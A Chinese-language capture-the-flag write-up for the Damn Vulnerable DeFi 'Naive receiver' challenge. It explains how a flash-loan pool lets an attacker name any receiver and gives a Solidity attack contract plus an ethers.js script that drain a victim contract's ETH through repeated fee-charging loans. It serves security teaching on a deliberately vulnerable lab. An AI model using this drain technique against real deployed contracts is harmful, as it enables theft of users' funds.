概述#
Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全的 CTF 游戏。
该游戏涵盖了闪电贷、价格预言机、治理、非同质化代币(NFT)、去中心化交易所(DEX)、借贷池、智能合约钱包、时间锁等多种 DeFi 场景。
这种类似 CTF 的题目的游戏非常适合初学者去学习 solidity/ethers.js 的开发。
挑战题目描述网站:https://www.damnvulnerabledefi.xyz/
挑战题目源码地址:https://github.com/tinchoabbate/damn-vulnerable-defi
Naive receiver#
题目描述:
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
解析#
题意:题目的意思是说有一个提供闪电贷的池子,User 部署了一个 10 ETH 可以跟前面所说的池子交互的合约,我们需要攻击用户把用户的 ETH 全部耗尽。
首先我们来看看闪电贷池子的合约:
我们可以观察到 flashloan 的接收者也就是 receiver 可以不是发起 transaction 的 msg.sender,而是可以任意指定的满足 IERC3156FlashBorrower 的池子。
而我们再去观察 User deploy 的合约发现合约已经实现了 IERC3156 标准。我们只需要一个 for 循环把 user deploy 的合约地址执行 10 次闪电贷(每次手续费 1 ETH,User 部署是 deposit 了 10 ETH)就可以了。
题解#
题目要求是尽可能放在同一笔 transaction 那么我们需要部署一个合约。
AttackNaiveReceiver.sol
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address owner;
constructor(address payable _pool, address _owner) {
pool = NaiveReceiverLenderPool(_pool);
owner = _owner;
}
function attack(address victim) public {
require(msg.sender == owner, "only owner can attack");
for (int i=0; i < 10; i++ ) {
pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
}
}
}
在 js 脚本中部署合约还有发起攻击:
const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
const attack = await attackContract.deploy(pool.address, player.address);
await attack.attack(receiver.address);